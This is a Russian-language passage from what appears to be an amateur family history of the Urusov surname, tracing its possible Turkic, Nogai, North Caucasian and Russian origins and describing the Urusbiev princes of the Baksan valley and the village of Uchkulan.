Таким образом, ранние булгары и родственные им племена савиров и барсил в результате двух последовательных переселенческих волн VI-IX веков оказались в верховьях Кубани и в Приэльбрусье, а также сыграли важную роль в формировании карачаево-балкарского народа. Массовое расселение булгарских племен на современной территории Карачая и Балкарии подтверждается и археологическими данными ( Трифонов Юрий. Откуда пошел род Урусовых ).
А если предположить, что источники смешивают полное имя Барас (Борус) с названием народа (барсилы, берсула), подвластного этому лиц. В подтверждение этой гипотезы проведем этимологический анализ слова барсилы (берсула) (прил.36). Слово барас состоит их двух компонентов: б + арас (б + орус; б + урус), что означает «князь воды, реки». Здесь отчетливо проступает смешение собственного имени с титулом бий (князь). Современное имя Урусбий, широко распространенное среди карачаево-балкарского народа ничем не отличается от рассмотренного, только перестановкой компонентов «князь реки» или «речной князь». И действительно, в начале нашей эры барсилы занимают низовья Сулака и Терека, а в VI-IX веках и в последующие столетия – верховья Кубани, Малки, Баксана.
Итак, анализ предполагает, что первоначально имя одного из десяти сыновей Тогармы (Плетнева, 1976г.с.7) было Урус-Оруз в значении «вода, большая река». В источниках, запечатлевших эти события, в результате смешения собственного имени с титулом, получается Биз (Баскаков, 1985, с.14) ( т.е.бий + Оруз-Урус). Далее это имя Биз смешивается с названием народа, подвластного данному лицу, и передается как Биз-л. В более поздних источниках название этого племени передается уже в исконной тюркской форме: орузпи, урусби, урусбиевцы.
Вспомним «Книгу путешествий» Эвлия Челеби: «Персы называют эти высокие горы Кух-и Альборзи, потому что у подножья этих высоких гор (Эльбруса) поселились горцы племени борзи». Имея представление о племени борзи, рассмотрим слово «эльбрус». Во-первых, слово «эльбрус» в форме «Аль-борзи» впервые появляется в письме хазарского царя, датированном 934 годом. Во-вторых, источники локализируют к этому времени покинувших Прикаспий барсил (борзи) у подошвы Эльбруса. В-третьих, восточные летописцы страну, населенную племенем барсил, называют Ал-Баршалия. Что же получается? По именному названию племени называется страна, а по названию страны с добавлением еще «Кух-и» Альборзи персы называют гору Эльбрус? И это возможно! В персидском языке слово «Кух (Хох)» имеет значение «гора». И в полной передаче Кух-и Альборзи первоначально, по всей видимости, имело следующее значение: кух (гора), ал-эль (народ, люди), борзи (бий+Оруз-Урус), т.е. буквально «гора людей (племени) речного князя».
Эти нити, связывающие современную фамилию Урусовы с ее первоначальным ядром, т.е. племенем барсил (борзи), были спутаны во время нашествия монголов на Северный Кавказ.
Но, возможно, фамилия Урусовых появилась и от половецкого хана Урусоба, правившего в XII веке половцами. Ведь предки карачаевцев и балкар были тюркоязычными. Частичное проникновение тюрок в Карачай могло иметь место еще до монгольского нашествия. Однако нет оснований считать их предками карачаевцев, так как последние переселялись в Карачай из баксанского ущелья на рубеже XVII-XVIII веков (1643-1654). Так как Балкарией и значительной частью Карачая до XIII века (1223г.) прочно владели аланы, то нельзя относить появление здесь карачаевцев и балкар до XIII века. Но непосредственно после монгольского нашествия предгорьем Центрального Кавказа овладели кабардинцы, и это должно было сильно затруднить переселение тюрок в горы, так как последним требовалось бы пройти через земли, занятые кабардинцами. Поэтому наиболее вероятным остается предположение, что тюркоязычные предки карачаевцев и балкар появились в горах не до и не после монгольского нашествия, а во время его. Русская летопись 1223 года и сочинения арабского писателя того времени Ибн Ал-асара рассказывают о походе монгол на Северный Кавказ в 1221-23 годах, что, пройдя через Азербайджан и приморскую часть Дагестана, монголы направились в земли кипчаков (половцев), разбили их, «остальные бежали в болота и на вершины гор, покинув землю свою, и ею овладели эти татары». Позже, в XVII веке, известный Абу-л-Гази, писал, что когда половцы оказались разбиты монголами, то «большинство из них ушло в юрт черкесов и туманов» (черкесы - горцы Северного Кавказа; туманы - Кумыкия, в XVI веке, город Тюмень (не сибирский, а среднеазиатский). Здесь они смешались с остатками разбитых алан. Пребывание половцев в горах Северного Кавказа подтверждается рядом погребений XIII-XIV веков в районе сел верхнего Чегема. Погребения совершались в деревянных ящиках. Язык кипчаков оказался более устойчивым, чем местный, и стал господствующим. Кипчакские слова и выражения полностью соответствуют цокающему диалекту современного балкарского литературного языка.
В начале этой главы было отмечено, что после гибели Урус бия (князя Ногайской орды) в 1590 году его и его сына хоронят в селе Верхний Учкулан (современное название). И это пройдя расстояние около 1000 километров от междуречья Урала и Волги через враждующие племена и народы Малой Ногайской орды, калмыков, казахов и других народов. Все это означает, что Карачай их родина, предки Урус бия были захвачены татарами в 1220-1223 или 1238-1239 годах, и они шли домой, устав от войн. Позже часть рода Уруса, получив по праву наследования титул князей, переселилась из Учкулана (т.е. верховьев Кубани) в Приэльбрусье, основав селение Урусбиевское (Верхний Баксан), при этом связь со старой фамилией не прерывали.
Таким образом, ногайцы тоже имеют право на приоритет образования фамилии Урусовы на Северном Кавказе.
Сделав отступление племени орузи и Урусовых, вернемся снова в 1780 год, когда 160 бедняков племени орузи пасли свой скот под горой Эльбрус. Отметим, что балкарские селения находились в труднодоступных ущельях рек Баксана, Чегема и Черека. В 1770 году в четырех (без урусбиевцев) балкарских общинах насчитывалось 1560 дворов (семейств), в том числе - Балкарском – 1000, Безенгиевском – 100, Хуламском - 100 и Чегемском - 360. Если иметь в виду, что каждая большая семья состояла из 10-12 человек, то получим от 15 до 20 тысяч человек.
В Балкарии господствовали таубии (князья):
- в черекском обществе – Абаевы, Айдебуловы, Жанхотовы, Мисаковы;
- в хуламском – Шакмановы;
- в безенгиевском – Суншевы;
- в чегемском – Балкаруковы и Келементовы;
- в баксанском – Урусбиевы, находящиеся в вассальской зависимости от кабардинских князей Атажукиных.
Итак, урусбиевцы поселились после чегемского ущелья в местности Камык баксанского ущелья (1715-1743), а затем перешли выше по ущелью в местность Ичкумель. Сюда же прибыли и две семьи подчиненных им вассалов, а также незначительное число крестьян и рабов. Позднейшие поселенцы должны были просить землю у урусбиевых, которые, впрочем, наделяли их с большой щедростью, дорожа приобретением рабочих рук.
Вскоре возник конфликт между урусбиевцами и кабардинским князем Атажукиным, которым урусбиевцы должны были платить дань. Начались военные действия. Атажукиным помогали чегемцы, а урусбиевцам - сванеты. Борьба имела переменный успех; Атажукины отступили, но борьба, видимо, закончилась не в пользу урусбиевых, которые вынуждены были уйти с Баксана в Карачай (на свою родину?). Балкаруковы (чегемцы) отвоевали у урусбиевцев местность Белым и земли современного села Бедык. Род Урусбиевых переселился еще выше по Баксану в Баксанскую долину, основав там аул Урусбиевский (1795г.). Из четырех братьев Урусбиевых, сыновей Чепеллеу (прил.39) (Алий, Исмаил-2, Магомет и Кандаура), особенно в непримиримом отношении к насильникам находился средний сын Кандаура. После трагической смерти (1795г.) Кандаура его жена Уба-Бийче, опасаясь за жизнь сыновей Эльмырза и Алхаза, вместе с младшим братом мужа Магометом, 100 дворами подвластных крестьян и другими выходцами из Баксанского ущелья переселились в местность Джамагат (приток реки Теберды) Карачая.
Вероятно, что и до баксанских переселенцев в Джамагате проживало некоторое население. Здесь находили приют и защиту абреки из окрестных горских племен. Но эпидемия чумы, пронесшаяся над Северным Кавказом, уничтожила это поселение. В Карачае, кроме Джамагата, были опустошены и другие поселки, целые фамильные кварталы в Учкулане… Хурзуке. Среди балкарских переселенцев умерли Алхаз и Эльмырза Урусбиевы. С известной долей вероятности можно полагать, что 1808-09 года были роковыми для Джамагата, поскольку конец 1809 года характеризуется как начало отступления эпидемии на Северном Кавказе, хотя она и продолжалась вплоть до 1812 года (300\43\ 140). В преданиях говорится, что оставшиеся в живых жители Джамагата разбрелись в разные стороны. В 1883 году в Верховьях Теберды К.Ф.Ган записал трагическую «элегию», описывающую горе Уба-Бийче Урусбиевой (211а\ 108). Аналогично воспроизводится и в песнях «Эмина» (чума) или «Урусбиевы», а также поэма М.Ю.Лермонтова «Хаджи Абрек».
Обратное перемещение баксанцев проходило двуэтапно. Часть из них осела среди кубанских карачаевцев (50 домов, построенных при впадении Хурзука в Кубань с правой стороны (современный Учкулан)), а другая часть – среди своих сородичей в районе Джалпак (211а\107). Об этом пишет Ю.Клапрота (1808г.): «К карачаевцам принадлежит еще род Урусби, живут к северо-востоку отсюда (т.е. Кубани) на отрогах горы Чалпак (Джалпак), которая отделяет Карачай от Баксана. Здесь насчитывается 150 семей». Эти сведения говорят о том, что в это время карачаевцы и балкары жили совместно. Поэтому даже в более поздние времена выходцы из Баксана называли себя карачаевцами, баксанскими карачаевцами. В 1860 году 21.1% жителей Баксана (Урусбиевцы) называли себя карачаевцами, а во время переписи 1897 года – 216 человек.
В Карачае, на правом берегу реки Джамагат, (приток реки Теберды) находятся могилы-склепы двух братьев Урусбиевых – Алхаза и Эльмырзы. Вблизи могил расположены развалины селения. Карачаевцы передают, что здесь жили выходцы из Баксанского ущелья.
Из погибшего Джамагата в верховья Баксана (в Баксанскую долину, куда переселились оставшиеся три сына Чепеллеу) возвратились из урусбиевых единственный сын Магомета (прил.39) – Мусос Урусбиев со своими подданными в 1809 году. Во время возвращения урусбиевцев из Карачая старшим баксанского общества (Урусбиевых) стал Оруспий, сын основателя атаула Алийлары. После смерти Оруспия его заменил Мырзакул, сын Исмаила-2, двоюродный брат погибших Алхаза и Эльмырзы. Во времена Мырзакула, гласит предание, старшими в роде Урусбиевых были Мырзакул, Кучук и Мусос. Кроме них, среди мужчин Урусбиевых жили семеро сыновей Оруспия, четверо Мырзакула, один Келемента и два Мусоса. Таким представляется тукум Урусбиевых к 1830-м годам.
К концу 20-х годов в Баксанскую долину возвращается часть урусбиевцев с Джалпака Карачая и некоторые карачаевцы с Большого Карачая .
В 30-х годах XIX века население баксанских урусбиевцев насчитывало 88 дворов, а карачаевцы обитали в верховьях Кубани, Теберды и Учкулана, но в источниках 40-х годов XIX века район верховьев Теберды отмечается как район, где отсутствуют поселения.
Чума, пронесшаяся в начале века по Северному Кавказу, истребила 5\6 части населения. Походы русских генералов Ермолова в 1822 году в Кабарду и Балкарию и Эммануэля в Карачай в 1828 году разорило и развеяло почти всю Кабарду (убито 10 тысяч душ), поэтому их влияние на карачаевцев и балкарцев ослабло. В свою очередь последние, испытав силу оружия русских, сделались не так предприимчивы к хищничеству, начали обращать внимание на свое хозяйство.
После возвращения урусбиевцев из Карачая, отношения их с Атажукиными оставались напряженными. Об этом говорит поданное в 1822 году Урусбиевым на имя генерала А.П.Ермолова ходатайство о дозволении ему снова переселиться, на этот раз в пределы России, на правый берег реки Кубань. Ходатайство было отклонено.
Рассматривая урусбиевцев, мы рассмотрели и саму Балкарию, ее общества малкарцев (балкарцев), хуламцев, безенцев и чегемцев до наступления русских на Кавказ. А что было у карачаевцев? Мы их оставили, когда в 1654 году А.Ламберти указал, что северо-западнее сванов находятся карачаевцы. Отсюда следует, что карачаевцы ушли из Баксана между 1643 и1654 годом. После долгих поисков карачаевцы нашли долину Хурзука, здесь они «осели» прочно, постепенно расселились по соседним долинам рек - так был основан Большой Карачай, занимающий в настоящее время три сравнительно больших аула Хурзук, Учкулан и Карт-Джюрт. Эти три аула вместе с двумя, Даутом и Джазлыком, расположенным на реке Даут, составляют старый аристократический Карачай, населенный преимущественно биями (князьями) и их немногочисленными бывшими крепостными. С течением времени население верхней Кубани возрастает как следствие привода пленных, так и от пришельцев. В карачаевцах резко отличаются признаки типов мингрельского, чисто татарского и абхазского, именно народов, живущих в соседстве с Карачаем.
Кроме этого, терский воевода М.И.Волынский в 1643 году упоминает о «карачаевских черкесах», которые жили «в Кабарде… под пяти горами», т.е. около Пятигорска.
Основную роль в хозяйстве Карачая играли скотоводство и охота, мало земледелие. Производство в основном домашнее: кузнечное дело, выработка железной руды. Местные мастера изготовляли разные металлические вещи, необходимые для быта и погребения. Из дерева изготовлялась значительная часть орудий труда, домашняя утварь. По рассказам, Карачай покорен в 30-е годы генералом Эммануэлем (27 октября 1828 год – каменная плита с этой датой завоевания русскими Карачая). Верхушка Карачая, осознав невозможность противостояния оружию русских, покорилась им. Эта победа положила начало русскому владычеству в Карачае. Были установлены пикеты вдоль Кубани, которые контролировали ход событий жизни карачаевцев.
После освобождения крепостных, прошедшего в Карачае в конце 60-х годов XIX века, были заселены ущелья ниже Большого Карачая бывшими крепостными, составляющими так называемый Малый Карачай (Теберды, Сенты…). Крепостные частью сохранили свои прежние прозвища, частью присвоили себе фамилии своих господ. В Учкулане известны своею многочисленностью фамилии Байракуловых (более 60 дворов), Байчоровых (40 дворов), Урусовых (десятка два дворов по 20-25 человек в каждом дворе) и т.д. По данным Дьячкова-Тарасова (т.1,1928,с.21), в Учкулане У р у с о в ы по своей численности превышали представителей родов Тебуевых, Айбазовых, Шамановых, Семеновых вместе взятых!
Как знаем, урусбиевская орда после гибели Урус бия вступила на землю карачаевской земли в 1590 году, дальнейшая ее жизнь с 1590 года по 1643\ 54 года не известна. В 1643\1654 году карачаевцы заселяют территорию Большого Карачая, и опять ни слова об Урусовых. Впервые об Урусовых- карачаевцах упоминается только в конце 60-х годов XIX века.
Урусовы считают себя Адурхаевыми (напомним, по легенде, Адурхаев – один из 4-х товарищей Карчи – родоначальника всего Карачая). В основном, все появившиеся фамилии в Карачае старались иметь род от самого Карчи или его четырех товарищей (Будиянов, Науруз, Адурхаев и Трам) по прямой или по женской линии. Кроме этого, по преданиям, во время движения Карчи к нему примкнуло много людей, они тоже сделались родоначальниками нескольких больших фамилий (Хубиевы), много людей пришло с соседних племен (Кабарда, Сванетия, Армения и конечно, русские).
Новый вариант происхождения фамилии Урусовы, Р У С С К И Й !!! Ведь мусульмане и монголы всех светлых (светловолосых) называли «урусами». (Семеновы (по преданию) от русского беглеца).
Таким образом, в состав карачаевского народа вошли самые разнообразные элементы: адыгеи (кабардинцы), сванеты, абхазы, иранцы (осетины) и др. Все эти последовательные наслоения в значительной степени стерли основные тюркские черты племени и отразились как на духовных качествах, так и на физическом его типе.
Рода (фамилии) карачаевцев могли увеличиваться за счет:
- от своих родоначальников;
- от братьев-головешников, т.е. кровных братьев, унесших при разделе из отеческого очага головни для новых очагов;
- молочные братья, воспитанные из других племен, и принявшие фамилии воспитателей;
- «под палкой» - проход чужеземца под палкой, которую держали старейшие рода. Это было выгодно и пришедшим в чужой род (под защиту) и принимаемой стороне (она увеличивалась, что придавало ей большую силу и значение);
- женитьбы бия, только своего уровня и с другого племени;
- крестьяне, освобожденные крепостные, взявшие фамилию своих господ.
Карачаевцы – горские татары. Проживают в селениях Учкулан, Сента, Хурзук и т.д., на северном склоне Главного Кавказского хребта, верховье реки Кубань. Происхождение – черная (кара) река (чай). Язык – тюркско-татарский, схож с осетинским и ногайским!!!
Вера – до 1640 года – христианство, а после – ислам.
Так как Урусовы жили в основном в Учкулане, то кратко рассмотрим его.
Местные старожилы полагают, что аул Учъ-куланъ был основан лет 400 назад (ок.1500г.). Аул растянулся по реке Учъ-кулану верст на семь. В его состав входит 14 кварталов (фамилий, родов). Урусовский квартал расположен в «верхнем крае». В ауле считается до 800 дворов. Жителей, по переписи 1897 года, считалось 6668 человек. Коренные жители Учкулана все называют себя узденями (дворяне). Самыми почетными родами считаются Наурузовы (тов. Карчи). В ауле есть 10 зданий (1913г.) под железной крышей: правление, 5 школьных и др. зданий, мечеть и 3 частных здания. Кроме этого, 5 мечетей, 15 лавок (содержат горские евреи и грузины). В ауле 3 кузнеца, 1сапожник и 2 «серебряка». Население занимается скотоводством, земледелием, изготовлением бурок и домашнего сукна. У жителей Учкулана имеется 6566 лошадей (1913г.), 10551 шт. крупного рогатого скота, 62300 овец и коз. Удобной земли аула - 385 десятин пахотной и 120 десятин сенокоса.
В настоящее время Учкулан не представляет собой средоточие обособленных кварталов, где живут представители только одной фамилии. Тем не менее, старые названия кварталов остаются. Так, если Урусовы проводят свои фамильные праздники, то они обязательно проходят в Урусовском квартале. На это торжество собираются представители всей фамилии независимо от возраста и национальности. На празднике устраиваются традиционные карачаевские конноспортивные соревнования, танцуют, поют. Так как праздник длится целый день, готовятся национальные угощения.
Территория, на которой живут карачаевцы - это преимущественно горный край, горные цепи порезаны перевалами как в Сванию, так и в Абхазию и Балкарию. Ледники Эльбруса и Большого Кавказа питают речную систему Кубани. Много в Карачае минеральных вод и озер. Климат разнообразен, долины рек покрыты прекрасным лесом (1900г.). Почвы горно-луговые, горные черноземы в предгорьях; столь же разнообразна фауна Карачая, недра богаты ископаемыми. Численность карачаевского населения по переписи1970 года – 112741 человек. За пределами России карачаевцы проживают в Турции, Сирии, Иордании; это волны переселений второй половины XIX и начала XX веков.
После завоевания российскими войсками Кабарды и Балкарии в 1822 и Карачая в 1828 годах жизнь этих народов была широко изучена русскими учеными, историками и путешественниками В.Ф.Миллером, М.М.Ковалевским, И.И.Иванюк, И.Леонтьевым, музыкантами С.И.Таневым и многими другими. В их изданной литературе дано много материала как о происхождении этих народов, так и об их жизни, взаимоотношениях, нравах и быте.
До революции 1917 года верховья реки Баксан принадлежали князьям (таубиям) Урусбиевым. На старом кладбище селения и сейчас сохранились руины их фамильных склепов. Первым упоминанием об урусбиевцах является балкарская надпись арабским шрифтом 1715 года, вырезанная на каменной плите. Надпись гласит о том, что Исмаилу Урусбиеву отводится определенная территория в нынешней Кабардино-Балкарии. Раньше уже рассматривали перемещение Оруспиевых (Урусбиевых) и отмечали, что первыми поселившиеся в Баксане были братья Джаппу и Чепеллеу (в некоторой литературе и Мусос). Вероятнее всего они были сыновьями упоминаемого Исмаила (прил.39). Чепеллеу имел сыновей Алия, Магомета, Исмаила и Кандаура. После возникшего конфликта между кабардинским князем Аташукиным и Урусбиевыми в конце XVIII века погиб один из сыновей Чепеллеу Кандаура; его жена Уба- Бийче вместе с братом мужа Магометом и своими сыновьями ушли к карачаевцам в Теберду и основали знаменитый аул Джамагат ( в народе называемый Урусбиево). Оставшиеся три брата перебрались еще выше по реке Баксан в Баксанскую долину, незаселенную к тому времени, и положили здесь основание нынешнему Урусбиевскому аулу (с 1917 года Верхний Баксан). Аул расположен на левом берегу р. Баксан на скате гор у самой подошвы Эльбруса, с востока. Высота аула над уровнем моря 5136 футов (1566 метров). В этом месте долина Баксана значительно расширена и открыта. Со всех сторон она окружена крутыми и высокими склонами, покрытыми сосновым лесом. Обилие воды здесь поразительное. С одной стороны Баксан катит свои воды с ледников, заняв своими извилистыми разветвлениями значительную часть долины. Здесь же бушуют малые речки Кыртык, Адырь, Адыль и Сылтран. Долина замыкается горами Тхотитау, Эльбрусом и Курмаши. Окрестности аула очень живописны.
Первоначальное население (горские татары) было малочисленное, не более 20 дворов. После Чепеллеу старшим рода был Алей (основатель Алийлара), а после него его сын Оруспий, который и управлял урусбиевцами после возвращения Мусоса из погибшего Джамагата в 1809 году. После смерти Оруспия его заменил Мырзакул (прил.39), сын Исмаила-2, который правил более 20 лет. С этой горстью храбрецов пришлось урусбиевцам отстаивать свою независимость от соседей; они то подпадали под главенство Кабарды и платили дань ее князьям Атажукиным, то обращали эту зависимость в пустой звук.
Посещение и изучение Урусбиевского аула происходило во второй половине XIX века, в это время старшим урусбиевского рода был Исмаил-3, сын Мырзакула 1831 года рождения. Могучая, как бы из железа скованная фигура Исмаила внушала бодрость и уверенность, дыша здоровьем и жизнью. Владетель значительной части баксанской долины, князь, лучший знаток и путеводитель Кавказа, ему принадлежат огромные стада овец, крупного рогатого скота и лошадей. В 1853 году Исмаил получил чин прапорщика милиции, а с 1868 года произведен в подпоручики. Вся его жизнь прошла на Кавказе, он один раз выезжал в Петербург и Москву, ни в какой школе не учился, читает только по - арабски, тем не менее имеет весьма обстоятельные сведения по истории. Он отличный знаток народных преданий и легенд, голова его кишит гипотезами о заселении Кавказа, о его прошлых судьбах, феноменальная память; цитирует на память Добролюбова. Двери его дома всегда настежь открыты для посещения как простых односельчан, так и для приезжих. У горских татар нет имени более популярного, чем имя Исмаила Урусбиева, во всем Исмаил первый. Князь играет на музыкальных инструментах (кобуза, сыбысхе, харс), напевает песни о горских татарах; песни, воспевающие богатырей-нартов, старые песни о войнах и новейшие песни, описывающие войну с русскими; другие имеют любовное содержание.
У князя Исмаила Урусбиева два дома: один для семьи, а другой, состоящий из трех больших комнат, – для туристов, принимал у себя «всех русских и иностранных альпинистов, путешественников и исследователей Кавказа». Вместо мебели лавки и столы, на ночь приносят матрасы и стелят их на полу. В мужской половине дома – две комнаты, украшенные низкими диванами, коврами, оружием и рогами. Во владениях Исмаила было 294 двора и 2200 душ населения. Земли – до 80-и тысяч десятин, а удобной для эксплуатации не более 6000, из них 300 десятин под посевы. В хозяйстве князя 300 голов крупного рогатого скота, 200 лошадей, до 1500 баранов и овец (1885г.). Почти все предметы первой необходимости урусбиевцы изготавливают сами. Покупают чай, сахар, свечи и соль.
Магомет, брат Исмаила, командир полка русской армии, был убит (в отпуске) сванетом, когда Магомет преследовал его, занимавшегося кражей татарских лошадей.
Хамзат, член городского суда Нальчика, начитанный, образованный человек, представитель нового типа среди горцев, реформатор, европейски развит. Проведя несколько лет на военной службе, он уехал за границу и в Швейцарии изучал сыроварение; на Баксане построил завод по изготовлению сыра. Сначала дело шло на лад, сыр, изготавливаемый новым способом, оказался превосходен и находил сбыт во Владикавказе.
Александр, полковник, впервые в истории Балкарии начал вести лесное дело, пытаясь рационально поставить разработку лесных богатств и урегулировать эксплуатацию леса на коммерческой основе, выкупая леса. Первые искры недовольства народных масс стали вспыхивать в урусбиевском в 80-е годы XIX века. В 1882 году бывшие холопы БОЧАЯ (?) Урусбиева (после отмены крепостного права) отказались отбывать какие бы то ни было повинности, оплачивать взносы в царскую казну; участились самовольные перемещения крестьян на новые места жительства. В урусбиевском обществе волнения достигли наибольшей силы в период с 1889 по 1897 годы. Коренной причиной народных волнений был аграрный вопрос, но после запрещения «под страхом строгой ответственности» вырубки леса в ответ на это начались массовые самовольные порубки леса, борьба за земельные угодья, за выпасы скота. Аресты, выплата штрафов, которым подвергались крестьяне, не смогли сломить их сопротивление. Крестьяне вели борьбу за свои права не только против феодалов Урусбиевых и царских властей, но и против мусульманского духовенства.
В 1904 году на войну c Японией намечалось сформировать сотню из кабардинцев и балкарцев. Наотрез отказалось дать добровольцев Урусбиевское общество. Старшина общества сообщал, что «идти добровольцем в сотню терско-кабардинского конного полка, находящегося на военных действиях, никто не пожелал». Усилившийся гнет заставил некоторых балкарцев покидать свою родину и уезжать в поиске счастья в Америку и другие страны.
Балкария являлась одной из наиболее отсталых окраин царской России. Почти не имея связи с внешним миром, балкарский народ находился в унижающей темноте. В этом были заинтересованы князья и мусульманское духовенство. До 1917 года балкарцы не имели своей письменности; даже серьезных попыток для ее создания не было. Правда в работе «В горских обществах Кабарды» В. Миллера и М.Ковалевского указывается: «В настоящее время один из туземцев, Сафар-Али Урусбиев, занимается составлением грамматики родного языка (балкарского), применив русскую азбуку к выражениям его звуков». Этот «туземец», обучался в Петровской академии (ныне сельскохозяйственная академия имени Тимирязева). Грамматика эта не увидела света, азбука не была составлена. Сафар Урусбиев, старший сын Исмаила-3, (прил.39) известен как первый балкарский фольклорист. Впервые он познакомил русского читателя с творчеством балкарского народа, собрав и издав на русском языке «Сказания о нартских богатырях у татар-горцев Пятигорского округа Терской области». Они были опубликованы в 1881 году в Тифлисе в «Сборнике материалов для описания местности и племен Кавказа», выпуск I. Сафар в сказаниях дал образ народного певца, пользовавшегося уважением и любовью народа (вспомним отца Сафара) за неподкупную, как совесть, песню. Эти народные любимцы впали в немилость у мулл. В споре с муллой, певец поет: «Твое дело только грабить и обирать народ. Ты грабитель и обманщик. А я словом своим из труса делаю храбреца, защитника свободы своего народа». Данный урусбиевский образ народного защитника – певца используется передовыми русскими писателями. Кроме этого, Сафар оказывал большую помощь ученым в их работе по сбору материала. «Имея по всем аулам родственников, Сафар-Али, писали М.М.Ковалевский и В.Ф.Миллер, мог открыть нам самый широкий доступ к горскому гостеприимству и поместить нас в наиболее богатые кунацкие». Здесь он был и проводником и переводчиком.
По следам Сафара пошли и другие просвещенные кавказские учителя (М. Алейников «Карачаевские сказания», Е. Баранов «Сказки горских татар»). Н.А.Караулов в начале XX века занимался изучением балкарского языка и опубликовал ряд работ.
Другой сын Исмаила Урусбиева – Науруз – в 1885 году окончил Владикавказское реальное училище, для своего времени был образованным и культурным человеком, встречался с выдающимися русскими композиторами П.И.Чайковским и С.И.Таневым. По совету Танева Науруз собирал и записывал народные песни – сказания, которые были опубликованы Н.П.Тульчинским в 1903 году. Науруз продолжал дело отца и принимал у себя «…всех русских и иностранных альпинистов, путешественников и исследователей Кавказа». Он был действительным членом Горного общества в Пятигорске и своим постоянным содействием альпинистам и геологам немало способствовал изучению Эльбруса и вершин Главного хребта.
В семье Урусбиевых гостили многие путешественники и исследователи Большого Кавказа – геологи, топографы, этнографы, археологи, композиторы, писатели и художники. В ведущейся Урусбиевыми книге для туристов имеются признательные записи многих знаменитых людей при восхождении на вершину Эльбруса и просто туристов – русских, англичан, немцев, французов и других национальностей. Все они имели радушный прием в Урусбиевском ауле у Урусбиевых, живущих у подножья Эльбруса.


Итак, мы рассмотрели происхождение фамилии Урусовы, историю этой фамилии, и ее три ветви:
- ногайская;
- русская;
- северокавказская.
Но ведь кроме этого, У р у с о в ы могут существовать и другим образом. Слово «урус»
(человек, ведущий русский образ жизни, рожденный от русской женщины, русоволосый) относится как к имени человека, так и к целым народам. Впервые (из перечисленной литературы) встречаются:
- 1207 год – Урус-инал – это правитель киргизов в годы правления Чингиз-хана в стране находящейся севернее озера Байкал;
- 1301-1303 годы – Урус – правитель Угедейского улуса, правнук Угедея, сына Чингиз-хана;
- 1369-1378 годы – Урус-хан – правитель Золотой Орды, Синей Орды, Астрахани и Узбекского союза. Его преемники сформировали народы казахов, киргизов, караколпаков, ногайцев, туркмен, и у этих народов должна и есть фамилия Урусовы (54,т.2\ 159);
- 1578-1590 годы – Урус-князь – правитель Ногайской Орды, родоначальник фамилии Урусовых (князей в том числе);
- в XIII веке при появлении татар на территории Руси они стали называть «руссов» УРУСАМИ, т.е. русскими.
При появлении фамилий в Руси в XV-XVI веках от Урусовых появились разновидности фамилий у различных народностей:
- Урусба – башкиры; - Урусбиевцы – балкары;
- Наурус – бухарцы; -Урус – казахи;
- Урусона – кинчаки; -Урумет – ногайцы;
- Урусоба – половцы; - Урухчи – туркмены;
- Урустай – узбеки;
- У р у с о в ы - у русских, карачаевцев, чеченцев, осетин, кабардинцев и у других народов. У каждого народа интересное происхождение фамилии Урусовы или ее разновидности.

Вот что говорят о происхождении своей фамилии кабардинцы Урусовы: «Давным-давно у некого кабардинского князя не было сыновей. А у горца неимение сына считалось большим горем, и поэтому существовало такое правило: он брал себе на усыновление мальчика из другой семьи. Вот таким образом кабардинский князь, не имевший наследника, и привез себе на воспитание мальчика из верховьев Кубани. Но при этом название рода, выходцем из которого был усыновленный, не изменялось». Эта история записана автором со слов одного из старейших представителей кабардинской ветви Урусовых, проживающего в селе Черная речка Урванского района Кабардино-Балкарии (350\10).
О русском происхождении фамилии Урусовы филолог С.А.Гочияева пишет: « Известно происхождение многих карачаевских фамилий на русской основе: Орусла-ры – Урусовы (от орус «русский»). На тюркских языках этноним «русский» приобрел форму орус-урус. Для понимания причины этого обратимся к структуре и особенностям тюркских слов. Исследователь Р.А.Агеева, поясняя причину перехода этнонима рось-русь в орос-урус, пишет: « Тюркским языкам не свойственно начальное Р, поэтому тюркское происхождение этнонима рось-русь невероятно, отсюда этноним русский в тюркских языках приобрел форму орус-урус» (6\ 133). Поэтому ясно, откуда появилось на тюркских языках обращение орус-урус к русскому человеку. Кроме этого, на языках фино-угорской группы (фины, мордва, эстонцы, карелы, вогулы) УРОС означает мужское начало, самец, а Urhu – нора, убежище – древние поселения фино-угорских племен.
Появились и населенные пункты (в основном села и деревни Урусовы) компактного проживания Урусовых в России (прил.40) в вологодской, липецкой, московской, саратовской, свердловской, тульской, ульяновской и ярославской областях; в Мордовии, Татарстане, Ставрополье, на Кавказе (Карачаево, Балкария, Осетия, Дагестан, Чечня, Кабарда). Известен городок Урос в Перми Великой, который назывался в походе Ивана III в 1472 году. Происхождение селений различное: от дач - поместий князей Урусовых, от русских укреплений, которые татары называли «урусами», а также от обедневших Урусовых, основывавших новые поселения.

****** ******** ********


Наше повествование подошло к концу. Мы проследили историю фамилии Урусовых от первоначального источника до реальных ее потомков, выяснили ее связи с другими фамилиями. Мы рассмотрели три версии возникновения фамилии: русская, ногайская и северокавказская, но возможны десятки, сотни других, которые не возможно проследить из-за отсутствия времени, литературы или трудности поиска информации.
На мой взгляд, исходя из наличия фамилии У р у с о в и первоначального времени появления фамилии (1580-1590 годы), первоочередная версия возникновения фамилии – т ю р к с к а я. Но эта фамилия появилась в р о д у у Урус князя, происхождение которого весьма запутанное. Отрезок жизни от Эдигея до Урус князя хорошо изучен и представлен в документах и литературе. Но до Эдигея – «потемки», и после смерти Уруса тоже не светлее. Ногайская фамилия Урусовых постепенно исчезает или переходит в другие фамилии (прил.31). И только в 1780 году на Кавказе появляется племя «оруспи», состоящее из 160 бедняков (а в это время княжеский род Урусовых в Москве процветает, входит в число 16 знатных фамилий России, породнился с царским родом). Тогда непонятно, какая может существовать связь между Ногайской Ордой, державшей в страхе Золотую Орду, юго-восток России и даже Европу (разгром в 1399 году польско-литовских войск Эдигеем), и спустя почти 200 лет десятком мужчин - бедняков, мирно пасших овец высоко в горах у подножья Эльбруса?
Но, как бы не было, фамилия Урусовых пустила корни в средней полосе России, на Урале, на Кавказе, во Франции, в США и других странах.
Многие из рода Урусовых прямо или косвенно влияли на политику русского двора, ногайского народа и народов Северного Кавказа. В частности, Петром Янараслановичем (Урак) был убит царь России Лжедмитрий II. Семен Андреевич, победитель войск Литвы, командовал русской армией по защите Москвы от Литвы и Польши, его жена - двоюродная сестра первого царя России от Романовых. Немаловажную роль играли Урусовы и в культурной жизни России. Московскому университету был подарен музей минералов, монет, медалей, мозаики и прекрасная библиотека Александром Александровичем. Под руководством Петра Васильевича (совместно с Медоксом) был открыт Большой театр (первый каменный театр). Прекрасно себя показали Урусовы – писатели, балерины, поэты, шахматисты; многие занимались благотворительностью.
